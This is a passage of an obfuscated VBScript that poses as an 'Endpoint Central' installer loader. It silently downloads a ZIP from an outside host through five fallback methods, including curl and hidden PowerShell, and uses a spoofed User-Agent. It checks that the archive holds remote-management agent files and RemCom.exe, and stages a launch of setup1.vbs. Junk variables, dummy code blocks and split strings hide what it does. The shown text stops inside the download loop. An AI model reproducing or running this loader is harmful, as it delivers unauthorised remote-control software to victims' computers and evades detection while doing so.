' pYGtTkFFablPm A394
' =============================================================================
' sXZR D608
' V12 Deterministic Loader - Endpoint Central Q/1
' Win7/8/10/11/Server 2008R2-2022
' Architecture: Single-stage (c2b8.zip -> extract -> setup1.vbs)
'
' v9.80
' Based on V9 with deterministic download, integrity, and extraction checks
'
' v8.62
' V12 changes:
' TODO: fTeOtOHqQs
'   One canonical endpoint for the Q/1 package
'   Complete ZIP-entry validation before extraction
' gPaadeyP
' tfmKOsRn
'   Required-file and file-size stability checks before launch
' TODO: QhhSHTsE
'   Fixed User-Agent and no startup jitter
'
' Compatibility:
'   .NET ZipFile is attempted first; Shell.Application is the legacy fallback
'   Legacy fallback is accepted only after all required files stabilize
' =============================================================================
Option Explicit
Dim Lzpkccwperp
On Error Resume Next
' v4.78

' uxqqFH 8C74
Dim Brwtedqnw
' =============================================================================
Dim Gcjbelyujds
' [CONFIG] Group + build switches
If 1 = 1 Then
    Dim Ujoreamp
' v3.51
    Ujoreamp = 99896
' v9.54
' v9.86
End If
' =============================================================================
Dim Njceahizvb
Const GROUP_ID = "Q"

' TtlKWywfwyQpj
Dim Bdisxvqyupn
' PROD = production with local diagnostic log
' oydMGHFdcbyZja
' v5.41
Const BUILD_MODE = "PROD"
Const ENABLE_LOG = True
If 1 = 1 Then
' TODO: ogCRHMPqqaqrXBr
' mexzrDcj 927C
    Dim Mvjhonimjdis
    Mvjhonimjdis = 54079
' v4.16
End If
' wuqWylfMOgtu
Const ENABLE_HIDDEN_ATTR = False
' v7.2
Const PAYLOAD_NAME = "setup1.vbs"
Dim Cjhoiiqxbw
Const USE_PROXY_AWARE_ORDER = True
Dim Ztqsfdougth
' v3.34
Const EXTRACT_TIMEOUT_MS = 120000
If 1 = 1 Then
' TODO: vTftRqTuwk
    Dim Jvkliikafgd
' TODO: ApMTeXMYfkSjjkYS
    Jvkliikafgd = 53665
End If
' v6.55
Dim Dvzbrwndh
Const EXTRACT_POLL_MS = 400
Const LAUNCH_WAIT_MS = 3000
Dim Lgflbrt
Const PROD_QUIT_ZERO = False
Const USER_AGENT = "EndpointCentralInstaller/10.0"
' v3.77
'  ' V12: Removed GetFileSHA256 function (was causing Hvezrel window popup)

' =============================================================================
' [P0] Init
Dim Xexnixzmkhx
' =============================================================================
Randomize
Dim WshShell, Qjkdhbam, Xfnzgjiqqrmx
' VjQNkZjuet
Set WshShell = CreateObject("WScript.Shell")
Set Qjkdhbam      = CreateObject("Scriptin"&"g.FileSy"&"stemObje"&"ct")
If 1 = 1 Then
' xFDyVcpo
    Dim Yqkdiiuatpgn
' TODO: bGmSoAnVoe
    Yqkdiiuatpgn = 61728
' pyNXWp
' TODO: pGSsVWPnrH
End If
Set Xfnzgjiqqrmx = CreateObject("Shell.Ap"&"plication")

' =============================================================================
' yXqqHgOBLLX
' [P1] Deterministic startup: no random delay
' RAvtpssH EE11
Dim Mdkdkceusuq
' =============================================================================
Dim Bfyqyfwixpz
' v6.79
' [P0] Path Configuration (Public\Documents kept for max write success)
' v6.27
' =============================================================================
Dim Fycfmz
' TODO: DOSPzGbFEnfT
Dim Iemgrjuuhbyg, Mxexqm, Skuplh, Ghmgdqdnlowr
' vPwyssnpr 1CF4
' sOLWct
Dim Ykedietwveiw
If 1 = 1 Then
' fVwHO 772F
    Dim Sjuqybkpkqd
    Sjuqybkpkqd = 36667
' TODO: XtMAkFCuLLRlzdcX
' TGhgxiHCmuSN
End If
Dim Pvkcrw, Hxzrvkm
' hraRiohtBqY

' oEZFFnQp 4CFD
Pvkcrw = "Cache_" & Hex(Int(Rnd() * 65535)) & "_" & Hex(Int(Rnd() * 65535))
Iemgrjuuhbyg   = "C:\Users\Public\Documents\" & Pvkcrw & "\"
' MouQJtJQzMJlGc 2F38
Dim Gydftcaobx
Mxexqm    = Iemgrjuuhbyg & "ext\"
Hxzrvkm = Hex(Int(Rnd() * 65535))
' v1.95
Skuplh   = Iemgrjuuhbyg & "pkg_" & Hxzrvkm & ".zip"
Dim Jjzoeouivlzi
Ghmgdqdnlowr = ""

If Not Qjkdhbam.FolderExists(Iemgrjuuhbyg) Then Qjkdhbam.CreateFolder Iemgrjuuhbyg
If Not Qjkdhbam.FolderExists(Mxexqm) Then Qjkdhbam.CreateFolder Mxexqm

' DehTZRYOOTF 44D1
' QIzcJyvCuUS
If ENABLE_HIDDEN_ATTR Then
    On Error Resume Next
' v1.67
    Qjkdhbam.GetFolder(Iemgrjuuhbyg).Attributes = 2
    Err.Clear
' ysjYQDnKMz 2AE0
Dim Sjomvkkzuu
End If

Dim Utyoapkbi
' =============================================================================
' [P0] Logging - PROD silent (no file); DEBUG optional local log
' =============================================================================
Dim Fhqmejqx, Tbgvqtkt
' TODO: TzxlljwGfUslWGcBZ
Fhqmejqx = Iemgrjuuhbyg & "diag.log"
Tbgvqtkt = Iemgrjuuhbyg & "status.txt"
If 1 = 1 Then
    Dim Bakatmz
    Bakatmz = 39606
End If
' EhSpHtKLHbys

' TODO: hIcwOQRXZgKiIwSkZe
Sub LogMsg(msg)
    On Error Resume Next
' uqtrdQJ 41FD
Dim Phrwqbfkg
' v5.60
    If Not ENABLE_LOG Then Exit Sub
    Dim Ichcgofi
    Set Ichcgofi = Qjkdhbam.OpenTextFile(Fhqmejqx, 8, True)
    If Err.Number = 0 Then
' yWUFyCisXFTYLh
        Ichcgofi.WriteLine Now() & " | " & msg
        Ichcgofi.Close
Dim Ohmpyq
' TODO: oqElLDJuFTLwSATzn
    End If
If 1 = 1 Then
    Dim Qpjvozdybq
' hlVW
' v1.46
    Qpjvozdybq = 64053
' v7.56
' TODO: JlNIsvKkCtOxOFhKke
End If
    Set Ichcgofi = Nothing
' v9.31
    Err.Clear
' TODO: RvQbTYbBedmo
End Sub

Dim Ejisrwwjkvh
Sub WriteStatus(state, detail)
    On Error Resume Next
' TODO: qGLrQwaA
Dim Fsqrci
' QlKWk
' EFLzvM
    Dim Ipmjqirnwywu
    Set Ipmjqirnwywu = Qjkdhbam.OpenTextFile(Tbgvqtkt, 2, True)
Dim Uevwxvalaboe
    If Err.Number = 0 Then
' oFEJWwzLAG
' SaWQ
        Ipmjqirnwywu.WriteLine "state=" & state
        Ipmjqirnwywu.WriteLine "detail=" & detail
' rnJQWG C613
Dim Gbdylv
        Ipmjqirnwywu.WriteLine "time=" & Now()
' ViUpueosxNibc AADC
        Ipmjqirnwywu.Close
    End If
' v4.6
If 1 = 1 Then
' vWphf 3521
    Dim Zqvsshidn
    Zqvsshidn = 94377
End If
    Set Ipmjqirnwywu = Nothing
    Err.Clear
End Sub
' lpwC D831

Dim Gsbsusc
If 1 = 1 Then
' YIwTa
    Dim Chwvyfpwyog
    Chwvyfpwyog = 52979
End If
Dim Teufyqsjl
' TODO: uuVQkrswjcYr
If 1 = 1 Then
' ixWxRfw
    Dim Zjjphs
' cumAP
    Zjjphs = 50551
' v5.49
End If
' HUVlyBPAcez
' v3.65
Teufyqsjl = WshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
Err.Clear
LogMsg "=== V12 Start"&"ed GROUP=" & GROUP_ID & " MODE=" & BUILD_MODE & " ==="
LogMsg "workDir=" & Iemgrjuuhbyg
' hbAYAtLF
' KwAaAvtGcPZap
LogMsg "OS=" & Teufyqsjl

' SmhE 575B
' v8.91
' =============================================================================
' v5.18
If 1 = 1 Then
' v9.81
    Dim Jwzkeanbttv
    Jwzkeanbttv = 67351
End If
' [P0] URL Builder - canonical Q/1 package endpoint
If 1 = 1 Then
    Dim Vlsevntqnkw
' wWbklqj
    Vlsevntqnkw = 29314
End If
' CipshmTmH
' v3.44
' =============================================================================
If 1 = 1 Then
    Dim Umspkcxzcrrz
    Umspkcxzcrrz = 4364
End If
' oyiLAG FC21
Function BuildURL(idx)
If 1 = 1 Then
    Dim Cjewjtvmkb
    Cjewjtvmkb = 28343
' TODO: aWutitHuPWXSPZMmgb
End If
    Dim Dsksjxyfp
    Dsksjxyfp = "https://xiazaixitong8.com/sys/" & GROUP_ID
' v4.62
    If GROUP_ID <> "111" Then Dsksjxyfp = Dsksjxyfp & "/" & "1"
' htqaLkNhwDQos FC2F
    Dsksjxyfp = Dsksjxyfp & "/c2b8.zip"
    BuildURL = Dsksjxyfp
' TODO: ENqRWIG
Dim Ktstuow
' v5.89
' jkfhJa
End Function

' xrFYDxWgzLs A8CA
Dim Zrjqenv
Dim Eogovnaflx
Zrjqenv = Array(BuildURL(0))
' OPjRQ A6EF
LogMsg "canonical URL ready (count=1)"
' FRhWhGdkvAl 3260
' cxecfU

' v4.28
' =============================================================================
' JHWCTNwaaomxJw
' oFmyrExLVa D221
' [P1] Proxy detect (registry only - no extra process)
' =============================================================================
' v6.36
Function IsProxyLikely()
    On Error Resume Next
    IsProxyLikely = False
' pODDwyVZgbV
Dim Dujmfpj
' v5.93
    Dim Ipozhnzcddic, Ttjgjgmebcnr
' JkjPinsV 66A8
    Ipozhnzcddic = WshShell.RegRead("HKCU\Software\Microsoft\"&"Windows\CurrentVersion\In"&"ternet Settings\ProxyEna"&"ble")
' v5.46
If 1 = 1 Then
' szaCHHuy
    Dim Ursnnuvjeq
    Ursnnuvjeq = 80415
End If
Dim Hraryido
    If Err.Number = 0 Then
        If CInt(Ipozhnzcddic) = 1 Then IsProxyLikely = True
' v6.32
    End If
' syDYijcUhWpw F7A4
If 1 = 1 Then
' uzCkRLDs 2237
    Dim Lcperzzo
    Lcperzzo = 17615
End If
    Err.Clear
    Ttjgjgmebcnr = WshShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVe"&"rsion\Internet Settings\AutoConfigURL")
Dim Tlhuwzl
' QNwJqOkLMcLzcq 5399
    If Err.Number = 0 Then
' HQkXoZYkLjvICk 1C6F
' TODO: VFFOXUcPQe
Dim Kmwpdd
' v4.88
        If Len(Trim(CStr(Ttjgjgmebcnr))) > 0 Then IsProxyLikely = True
    End If
' TODO: xzdPSDe
    Err.Clear
If 1 = 1 Then
' v8.46
    Dim Flzurxpmol
' TODO: OzYlGZVC
' WAkPlgIzYOl 3A72
    Flzurxpmol = 90618
End If
End Function
' v6.12

' EJZAgfRMVBzGd
Dim Vwzamfejm
' PAEza FD15
' =============================================================================
' [P1] Fixed User-Agent
' IqFnbrziq 7A02
' v4.66
' =============================================================================
Dim Fsxjzz
' [P1] Safe delete helpers
' v3.60
' =============================================================================
Dim Rkrdrjsjc
Sub SafeDeleteFile(Kbwzgg)
' TODO: zqhVVDyQfEFFv
If 1 = 1 Then
' swZmmAz
    Dim Xhfphcnd
    Xhfphcnd = 69865
End If
' TODO: dslVqlw
' hfNT F25D
Dim Qsckhkbxgzrq
' hQkuAAzbgSWsWh 9779
If 1 = 1 Then
' sYwwTo
    Dim Iztmvzpwb
    Iztmvzpwb = 16936
' TODO: uFWbCEbVHNZhrZWwT
End If
    On Error Resume Next
If 1 = 1 Then
    Dim Detlzpxg
    Detlzpxg = 38233
End If
    If Qjkdhbam.FileExists(Kbwzgg) Then Qjkdhbam.DeleteFile Kbwzgg, True
Dim Frbjzyphxkfy
' v7.53
    Err.Clear
' xkdWOEpuH 4E82
' v8.11
End Sub

Sub SafeDeleteFolder(Kbwzgg)
    On Error Resume Next
    If Qjkdhbam.FolderExists(Kbwzgg) Then Qjkdhbam.DeleteFolder Kbwzgg, True
    Err.Clear
' bmiM
Dim Vujdjsvg
' v3.94
' ZtRRBk 5C90
End Sub

Sub WipeWorkDir()
Dim Ftzjogybdgq
' PqOgUo 5A54
' TODO: vIJGOLPyXFVUZzobpi
    On Error Resume Next
' orXzlQFUvvSA 0A26
    SafeDeleteFolder Iemgrjuuhbyg
' RopEUEVBap A05C
' TODO: FEmIvIpLkBdXpnK
    Err.Clear
End Sub

' =============================================================================
If 1 = 1 Then
    Dim Aawiccv
    Aawiccv = 64502
End If
' TODO: ZTsNgGlfsrA
' [P1] ZIP Header Validation (PK 50 4B 03 04)
' TODO: bqwoyEt
' =============================================================================
Function IsValidZip(filePath)
Dim Dabxlf
    On Error Resume Next
    IsValidZip = False
' vCAjPD 46D8
    Dim Arufyx, Gtlwlshgd
If 1 = 1 Then
    Dim Httnlc
    Httnlc = 85562
End If
Dim Wnxdnotbgpif
' TODO: KPvsxoInxpipFh
    Set Arufyx = CreateObject("ADODB"&".Stre"&"am")
    Arufyx.Type = 1
Dim Avpdmsv
    Arufyx.Open
Dim Rajmgi
' boIEDeB 0EC7
    Arufyx.LoadFromFile filePath
    Gtlwlshgd = Arufyx.Read(4)
    Arufyx.Close
    Set Arufyx = Nothing
' TODO: pSpNEIYKQnZKdW
    If Err.Number = 0 Then
        If VarType(Gtlwlshgd) = 8209 Then
Dim Ouztlrxld
            If AscB(MidB(Gtlwlshgd,1,1)) = &H50 And AscB(MidB(Gtlwlshgd,2,1)) = &H4B And _
               AscB(MidB(Gtlwlshgd,3,1)) = &H03 And AscB(MidB(Gtlwlshgd,4,1)) = &H04 Then
Dim Jboanxcwf
' MtdtUUooizcS
                IsValidZip = True
Dim Nmppqux
            End If
        End If
    End If
    Err.Clear
End Function
' DavgCTLH


Function ValidateZipContents(filePath)
    On Error Resume Next
' vwkjSwIsDARnJm
If 1 = 1 Then
    Dim Jrpauaopb
' v3.63
' rghbW
    Jrpauaopb = 17813
End If
    ValidateZipContents = False
' v1.31
    Dim Pohemkx, Brymrhii, Pobznzric
' TODO: yGynZfBozpifdpkM
    Pohemkx = WshShell.ExpandEnvironmentStrings("%SystemRoot%") & "\System32\WindowsPowerShell\v1.0\powershell.exe"
    If Not Qjkdhbam.FileExists(Pohemkx) Then Exit Function

' lsby 10BF
Dim Ubpjwzfhdxi
    Brymrhii = """" & Pohemkx & """ -NoLogo -NoProfile -NonInteractive -Command """ & _
        "$ErrorActionPreference='Stop'; Add-Type -AssemblyName System.IO.Compression.FileSystem; " & _
        "$z=[IO.Compression.ZipFile]::OpenRead('" & filePath & "'); try { " & _
        "$r=@('DCAgentServerInfo.json','UEMSAgent.mst"&"','DMRootCA.crt','DMRootCA-Server.crt','dcre"&"magentinstaller.exe','setup.bat','README.html"&"','RemCom.exe','UEMSAgent.msi','setup1.vbs')"&"; " & _
        "$n=@($z.Entries | ForEach-Object {$_.FullName}); foreach($x in $r){if($n -notcontains $x){exit 21}}; " & _
        "$b=New-Object byte[] 65536; foreach($e in $z.Entries){if($e.Length -gt 0){$s=$e.Open("&"); try {while($s.Read($b,0,$b.Length) -gt 0){}} finally {$s.Dispose()}}}; exit 0 " & _
        "} finally {"&"$z.Dispose()"&"}"""
    Pobznzric = WshShell.Run(Brymrhii, 0, True)
Dim Skxpsxqvsdik
    If Err.Number = 0 And Pobznzric = 0 Then ValidateZipContents = True
' AGiWh 0DA2
    Err.Clear
End Function

' v9.4
' =============================================================================
' KPGGUhaHxFTl
' v3.32
Dim Ggfmhv
' [P1] Download Validation (size, ZIP structure, content check)
' MVsvRRqMJ 7D75
' =============================================================================
Function CheckDownload(dest)
' v8.67
' TODO: TadRWsmznDwrqs
    On Error Resume Next
Dim Rvmxjpslr
    CheckDownload = False
    If Qjkdhbam.FileExists(dest) Then
' TODO: TkNljDfwgwIQtncUCc
        If Qjkdhbam.GetFile(dest).Size > 1024 Then
            If IsValidZip(dest) Then
                If ValidateZipContents(dest) Then
                    CheckDownload = True
                Else
                    LogMsg "ZIP content validation failed"
' bGgmbNBCiNH E7F3
                End If
' eYEnI
            Else
Dim Fnlaslszl
' YAvxlu
                LogMsg "ZIP he"&"ader val"&"idation "&"failed"
' CdoY C14C
            End If
        End If
' TODO: HhqycwaeXWrAT
    End If
If 1 = 1 Then
' oDOoN
    Dim Ujbitmyi
    Ujbitmyi = 54641
' WDLgjlKjo 9C5F
End If
' RgBROtWVWRk
' vVUOFCIDEi 75FB
    If Not CheckDownload Then SafeDeleteFile dest
' MYJXomnjl
    WriteStatus "download_check", CStr(CheckDownload)
    Err.Clear
End Function
' TODO: owrxuA
' v9.45

Dim Vtqpawepkgpo
' =============================================================================
' VOgDTgdDOVX
' biFNDCcf 952A
' [P2] Download Method 0: WinHTTP COM
If 1 = 1 Then
    Dim Uvhywxvirh
' TODO: WykBqilSyFgxtKtNT
    Uvhywxvirh = 56647
End If
Dim Gfujxg
' v7.2
' UgVQjRsOeHD 8F6B
' =============================================================================
' VQCHnGt
Function DownloadWinHTTP(url, dest)
    On Error Resume Next
Dim Kfjynmtxy
If 1 = 1 Then
    Dim Uwzrjlqiwkp
    Uwzrjlqiwkp = 25012
' VnNDxh
End If
' TODO: BvWUsCQVaNcNQQTam
    DownloadWinHTTP = False
' Fvtl 3D65
' etRrCPAnPh B504
    Dim Rccfpui, Oajvnwaiumw
    Set Rccfpui = CreateObject("WinHtt"&"p.WinHtt"&"pReques"&"t.5.1")
    If Err.Number <> 0 Then
        Err.Clear
        Exit Function
    End If
' HWoyqPkhLHI
Dim Fmvxzi
' v7.3
    Rccfpui.Open "GET", url, False
' XqaGYvlyps
Dim Ecfqtyq
    Rccfpui.SetTimeouts 15000, 15000, 30000, 120000
    Rccfpui.SetRequestHeader "User"&"-Agen"&"t", USER_AGENT
Dim Ydopiufmkxo
' NkyrY 3887
    Rccfpui.SetRequestHeader "Accept", "*/*"
Dim Byhvogwei
    Rccfpui.Send
' v6.62
' vLcmiszoXLl B5FF
    If Err.Number = 0 Then
        If Rccfpui.Status = 200 Then
            Set Oajvnwaiumw = CreateObject("ADO"&"DB."&"St"&"rea"&"m")
' v1.58
' HlxgplkJhB
            Oajvnwaiumw.Type = 1
Dim Nzbwvaad
' VovNcpPglTaJIq 78FF
' VqRwFCuzTsnNCX
            Oajvnwaiumw.Open
            Oajvnwaiumw.Write Rccfpui.ResponseBody
            Oajvnwaiumw.SaveToFile dest, 2
' OBnnsqeSPOMN 2395
            Oajvnwaiumw.Close
Dim Rddjfyhio
            Set Oajvnwaiumw = Nothing
' mCTeYAvAOW
        End If
    End If
    Set Rccfpui = Nothing
    Err.Clear
Dim Lexsrrafkt
    If CheckDownload(dest) Then DownloadWinHTTP = True
' TODO: xvocDrXD
Dim Tywlef
End Function

' =============================================================================
' TODO: eFtRZLQlrJP
Dim Ybmshz
' [P2] Download Method 1: MSXML2.ServerXMLHTTP
' v1.45
' =============================================================================
' rImqIUoTOrA D30B
' TODO: LplkHtFgDdVkauZ
Function DownloadServerXML(url, dest)
' TODO: gMAcKyvp
' GDgYMWWATigJH 15E2
    On Error Resume Next
    DownloadServerXML = False
' wapgWJeEmQDuC 48CA
    Dim Rccfpui, Oajvnwaiumw
    Set Rccfpui = CreateObject("MSXML2"&".ServerX"&"MLHTTP"&".6.0")
Dim Uhsyfkmzkou
' TODO: BWzwQBoiNkYU
    If Err.Number <> 0 Then
        Err.Clear
        Set Rccfpui = CreateObject("MSXML2.ServerXMLHTTP")
' v6.30
        If Err.Number <> 0 Then
Dim Srvteyo
' v3.57
            Err.Clear
Dim Ceuyaofekf
            Exit Function
' TODO: NQAKpp
Dim Gzprompculfc
        End If
' AOKNz
    End If
Dim Iumdfsilku
' CKBvVd
    Rccfpui.Open "GET", url, False
    Rccfpui.setTimeouts 15000, 15000, 30000, 120000
    Rccfpui.setrequestHeader "Use"&"r-"&"Agen"&"t", USER_AGENT
' v3.54
Dim Gnvwsqmr
    Rccfpui.setrequestHeader "Accept", "*/*"
    Rccfpui.Send
    If Err.Number = 0 Then
Dim Dyzdgr
        If Rccfpui.Status = 200 Then
            Set Oajvnwaiumw = CreateObject("ADODB.S"&"tream")
            Oajvnwaiumw.Type = 1
            Oajvnwaiumw.Open
' micHKIBbCzVxMf 4A84
Dim Gjzamnpxsog
            Oajvnwaiumw.Write Rccfpui.responseBody
' KeNiqVqLnq
            Oajvnwaiumw.SaveToFile dest, 2
            Oajvnwaiumw.Close
            Set Oajvnwaiumw = Nothing
        End If
    End If
Dim Ksmimx
If 1 = 1 Then
    Dim Qxajfob
    Qxajfob = 74837
End If
    Set Rccfpui = Nothing
' TODO: ErwQCWTXDXtc
    Err.Clear
' TODO: dClnqfNw
    If CheckDownload(dest) Then DownloadServerXML = True
End Function
' OJetVzqiov BC63

' =============================================================================
' [P2] Download Method 2: MSXML2.XMLHTTP (proxy-friendly)
' lkPrNr 9158
' =============================================================================
' TODO: GuvUFvr
Function DownloadXMLHTTP(url, dest)
' v1.96
    On Error Resume Next
' SBwlBwhrxOp F80E
    DownloadXMLHTTP = False
Dim Rotoolsbwu
If 1 = 1 Then
' TODO: bwYUdXfercOqjUrHyE
' aZaCZn 5501
    Dim Bumspespmok
' qXqYcUyqQ
    Bumspespmok = 32786
' v3.83
End If
' mqGHQWPBQrXBE 8033
    Dim Rccfpui, Oajvnwaiumw
    Set Rccfpui = CreateObject("MSXM"&"L2.XML"&"HTTP."&"6.0")
    If Err.Number <> 0 Then
        Err.Clear
' RUQBPRrBCd 68CC
        Set Rccfpui = CreateObject("MSXML2.XMLHTTP")
' v1.62
Dim Tzfwzimwtcy
' v3.63
        If Err.Number <> 0 Then
' TODO: PQGiDmJZSAOgEkPMK
Dim Inysnwmmxnkw
' glJzXmfv
            Err.Clear
' WietIbVnbRra 742C
            Exit Function
        End If
    End If
' gBWySrXG
    Rccfpui.Open "GET", url, False
' TODO: iWTidsDv
If 1 = 1 Then
    Dim Nprsknswetl
' TODO: sEJXAStvwmeAjzwJ
    Nprsknswetl = 3003
' ekLDG
End If
' TODO: NOiGmearMvdrQl
    Rccfpui.setrequestHeader "User-Agent", USER_AGENT
Dim Feitot
If 1 = 1 Then
    Dim Ekdlavavk
    Ekdlavavk = 57334
End If
    Rccfpui.setrequestHeader "Accept", "*/*"
Dim Tkwufw
' TODO: OAsKeKJF
    Rccfpui.Send
' WWqVOgyHsodddQ BC89
' v5.54
    If Err.Number = 0 Then
        If Rccfpui.Status = 200 Then
' v8.14
Dim Pgwdkymggpy
            Set Oajvnwaiumw = CreateObject("ADODB.S"&"tream")
            Oajvnwaiumw.Type = 1
            Oajvnwaiumw.Open
            Oajvnwaiumw.Write Rccfpui.responseBody
Dim Smyntqm
            Oajvnwaiumw.SaveToFile dest, 2
            Oajvnwaiumw.Close
' v1.76
            Set Oajvnwaiumw = Nothing
Dim Dzgosftlofg
' v2.5
        End If
' ZUYAZSDFcyv FE77
Dim Ecuqzl
' NdMftNMLbkCb
' v7.38
    End If
Dim Yqdmjqmmzaf
    Set Rccfpui = Nothing
' TODO: kPDzuZk
    Err.Clear
' TODO: sZEIPPPW
If 1 = 1 Then
    Dim Npooidsjceb
' iqaipKWE 6291
    Npooidsjceb = 71852
End If
    If CheckDownload(dest) Then DownloadXMLHTTP = True
' TqvxcwrAeH A1CD
Dim Crridovjtqv
If 1 = 1 Then
    Dim Ygyvmr
    Ygyvmr = 71214
' TODO: NdikrtxWsqH
End If
End Function

' =============================================================================
' [P2] Download Method 3: curl.exe full path (Win10 1803+)
' =============================================================================
' v4.70
' pUBaz B8A0
If 1 = 1 Then
    Dim Memxbuheyc
' svJSiABwvjmJ
    Memxbuheyc = 8587
End If
Function DownloadCurl(url, dest)
    On Error Resume Next
Dim Rnpseszzv
    DownloadCurl = False
    Dim Gxjhlwslcfb, Hvezrel
    Gxjhlwslcfb = WshShell.ExpandEnvironmentStrings("%SYSTE"&"MROOT%") & "\Sy"&"stem32"&"\curl"&".exe"
' TODO: ueENWCkKZLHutr
If 1 = 1 Then
' RFcZ
    Dim Xixeuyrlxz
' v9.81
    Xixeuyrlxz = 1541
' v1.57
End If
    If Not Qjkdhbam.FileExists(Gxjhlwslcfb) Then Exit Function
' v6.75
If 1 = 1 Then
    Dim Uonakdttv
    Uonakdttv = 18753
' v2.84
End If
    Hvezrel = """" & Gxjhlwslcfb & """ -s -L --connect-timeout 15 --max-time 120 --retry 3 --retry-delay 1 -A """ & USER_AGENT & """ -o """ & dest & """ " & url
' igFrBk CE27
    WshShell.Run Hvezrel, 0, True
    WScript.Sleep 1500
' TODO: HrNHArQSkRIAXqjpO
Dim Piitrjavbdad
    If CheckDownload(dest) Then DownloadCurl = True
' v1.10
' TODO: xBTYTX
End Function
' kRPzYAHZ

' =============================================================================
If 1 = 1 Then
    Dim Pjwukkbfhd
    Pjwukkbfhd = 16756
' TODO: dCFkjrTJhQI
End If
' [P2] Download Method 4: PowerShell WebClient (last resort)
' v8.49
' =============================================================================
' TODO: ZghIoq
' v7.36
Function DownloadPS(url, dest)
    On Error Resume Next
    DownloadPS = False
' TODO: crtWUMjZvsbnZe
    Dim Brymrhii
' TODO: oBywpNUTpVqF
    Brymrhii = "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command """ & _
            "Try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } Catch {};" & _
            "$wc = New-Object Net.WebClient;" & _
            "$wc.Headers.Add('User-Agent','" & USER_AGENT & "');" & _
            "Try { $wc.DownloadFile('" & url & "','" & dest & "') } Catch {}"""
' v7.46
If 1 = 1 Then
' EAVOyhddUAVHH 60F3
    Dim Fflxgsj
' v5.57
    Fflxgsj = 38710
End If
    WshShell.Run Brymrhii, 0, True
Dim Kkupxlmsb
If 1 = 1 Then
    Dim Zexljnnv
' ffYHJzuXbAW
' TODO: yUoxJRBYHfNxnXb
    Zexljnnv = 2404
End If
    WScript.Sleep 2000
' v9.21
    If CheckDownload(dest) Then DownloadPS = True
End Function

' =============================================================================
' [P2] Master Download - 5 methods, proxy-aware order, wipe half-pack first
' v1.16
Dim Egipbojomat
' =============================================================================
Function DownloadFile(url, dest)
    On Error Resume Next
    DownloadFile = False
' RrOpA ABFD
Dim Mdgrqg
' v7.98
If 1 = 1 Then
' TODO: lIuUjHdgaS
    Dim Sqkkdc
' v4.14
    Sqkkdc = 46478
End If
    SafeDeleteFile dest
' XOxGf
If 1 = 1 Then
' ilxbgBTZJVyJkt 9BDC
    Dim Mamwzjzsmwdb
    Mamwzjzsmwdb = 79236
End If
    LogMsg "downloading..."

Dim Xhchktjv
' nsVYBEOigzq
' FcYHrFkOYdJeQL
    Dim Ukkvtil
    Ukkvtil = False
    If USE_PROXY_AWARE_ORDER Then
        If IsProxyLikely() Then Ukkvtil = True
' v5.71
' TODO: VQoMbDmqaCAYP
    End If
' v4.8
If 1 = 1 Then
' FnrfLfHEWWuLCn
    Dim Njqqae
' TODO: fbCQcTxwhf
    Njqqae = 47369
' WSheivQDWclDr
End If
' dGxVdTEeghNH
' wvZCRbWLKll

' yJyXCLCWosPlg
    If Ukkvtil Then
        LogMsg "orde"&"r=pro"&"xy"
' v4.34
' TODO: UFFfTfrCCGGlDBW
Dim Jqksvdpl
        If DownloadXMLHTTP(url, dest) Then
' jhNGxOPNacbzwd
            LogMsg "OK XM"&"LHTT"&Chr(80)
            DownloadFile = True
            Exit Function
Dim Ddxzkn
        End If
' TODO: CScpyMlbgjxlEz
        SafeDeleteFile dest
' TODO: gQmpmcml
' rwQzADXN F347
        If DownloadWinHTTP(url, dest) Then
' eCUJkPJYPt F26B
            LogMsg "OK W"&"in"&"HTTP"
' WQORIKRfthRIyG
Dim Swvsotw
            DownloadFile = True
            Exit Function
        End If
' zrVNlJMM 4FC1
        SafeDeleteFile dest
Dim Obeuotgtwt
        If DownloadServerXML(url, dest) Then
' eXnPN
            LogMsg "OK S"&"erver"&"XML"
' TODO: Ylbfrp
Dim Wassoomapx
            DownloadFile = True
            Exit Function
        End If
' TODO: PwZVKfRBsRNVRRkML
' jfjaI 4529
        SafeDeleteFile dest
Dim Llpcprcpq
        If DownloadCurl(url, dest) Then
            LogMsg "OK curl"
            DownloadFile = True
Dim Kinpqcejufv
            Exit Function
        End If
        SafeDeleteFile dest
' v8.87
        If DownloadPS(url, dest) Then
            LogMsg "OK PS"
            DownloadFile = True
            Exit Function
        End If
    Else
Dim Qijkamaokay
' TODO: QixzLLJRDUfv
        LogMsg "order"&"=di"&"rect"
' v6.94
        If DownloadWinHTTP(url, dest) Then
            LogMsg "OK WinHTTP"
            DownloadFile = True
            Exit Function
        End If
        SafeDeleteFile dest
        If DownloadServerXML(url, dest) Then
            LogMsg "OK "&"Serv"&"erXML"
            DownloadFile = True
            Exit Function
        End If
' v1.6
        SafeDeleteFile dest
Dim Gfscsnrg
        If DownloadXMLHTTP(url, dest) Then
Dim Wxoqpdoo
' jTCvNwCR
            LogMsg "OK XMLHTTP"
            DownloadFile = True
            Exit Function
Dim Nwomji
        End If
' eVhmL 127A
Dim Gnzznavfhxnc
        SafeDeleteFile dest
        If DownloadCurl(url, dest) Then
Dim Cnbwjjzssav
' ibnfeAvjSZVCf ECE1
            LogMsg "OK curl"
Dim Acbehdg
            DownloadFile = True
            Exit Function
Dim Vuummcsra
' v2.68
' kllTRoIYhMBg
        End If
' FNncDEvjviay
        SafeDeleteFile dest
        If DownloadPS(url, dest) Then
            LogMsg "OK PS"
Dim Xvvkvph
            DownloadFile = True
            Exit Function
' xmsN
        End If
    End If

' TODO: eWWASvy
    LogMsg "all methods fail"&"ed for this URL"
Dim Ibdlaapxlsx
' TODO: hWVHBMMGRWQEK
    SafeDeleteFile dest
End Function
' TODO: NYtYdIRPjRgIex

' ofpXDJAIMMgZ
' v6.66
' =============================================================================
' lKZMBeV
' [P0] Download 3 URLs + retry (3 each), jitter 1-3s
' v9.16
Dim Irisfhlzknge
' =============================================================================
Dim Zmlsmudmgap, Rfcwmeytghrc, Inyleniqh, Swevypdywdt
Zmlsmudmgap = False

For Rfcwmeytghrc = 0 To UBound(Zrjqenv)
    Swevypdywdt = Zrjqenv(Rfcwmeytghrc) & "?v=" & Int(Rnd() * 999999)
' TODO: uGWAWkbqpTbSR

' IpvMAocSguW
    For Inyleniqh = 1 To 3
        LogMsg "attempt #" & Inyleniqh & " URL#" & (Rfcwmeytghrc + 1)
' TODO: ZgZPFsqXov
If 1 = 1 Then
    Dim Zxxwfxsmi
